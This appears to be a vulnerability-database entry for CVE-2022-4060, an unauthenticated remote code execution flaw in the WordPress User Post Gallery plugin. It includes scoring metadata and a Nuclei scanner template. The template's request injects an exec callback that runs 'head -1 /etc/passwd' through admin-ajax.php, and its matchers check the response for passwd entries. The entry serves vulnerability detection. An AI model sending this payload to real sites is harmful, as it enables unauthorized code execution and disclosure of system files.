SecurityContext

CVE-2022-4060: WordPress User Post Gallery <=2.19 - Remote Code Execution

Classification

  • Cwe: CWE-94
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.42723
  • Epss percentile: 0.98744
  • Cpe: cpe:2.3:a:odude:user_post_gallery:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 1
  • Product: user_post_gallery
  • Vendor: odude
  • Verified: yes

Products

ProductIndexedUrl
odude:user_post_galleryyes/v1/products/odude/user_post_gallery

Labels

  • Name: WordPress User Post Gallery - Remote Code Execution
  • Impact: Attackers can execute arbitrary code, access sensitive data, modify website content, and take full control of the system.
  • Remediation: Update to the latest version of the plugin where the issue is fixed.
  • Vulnerability type: insecure_deserialization
  • Vulnerability impact: remote_code_execution, information_disclosure, data_tampering, privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-4060
  • Not known: requirements

```yaml

id: CVE-2022-4060

info:

name: WordPress User Post Gallery <=2.19 - Remote Code Execution

author: theamanrawat

severity: critical

description: |

WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.

remediation: |

Update to the latest version of the User Post Gallery plugin (>=2.20) to mitigate this vulnerability.

reference:

- https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e

- https://wordpress.org/plugins/wp-upg/

- https://nvd.nist.gov/vuln/detail/CVE-2022-4060

- https://github.com/im-hanzou/UPGer

- https://github.com/nomi-sec/PoC-in-GitHub

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2022-4060

cwe-id: CWE-94

epss-score: 0.42723

epss-percentile: 0.98744

cpe: cpe:2.3:a:odude:user_post_gallery:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 1

vendor: odude

product: user_post_gallery

framework: wordpress

tags: cve,cve2022,unauth,wpscan,rce,wordpress,wp-plugin,wp,wp-upg,odude,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL"

matchers-condition: and

matchers:

- type: word

part: header

words:

- "application/json"

- type: word

part: body

words:

- "recordsFiltered"

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 4b0a0048304602210086b6cd0616c6a0f0b17addf4901c540aca31895168c8645d98cc660aa362b823022100dfb66f605a2c5501ec77d4385312bfe8acf3792b87c56c4511f6b9af042d6259:922c64590222798bb761d5b6d8e72950

```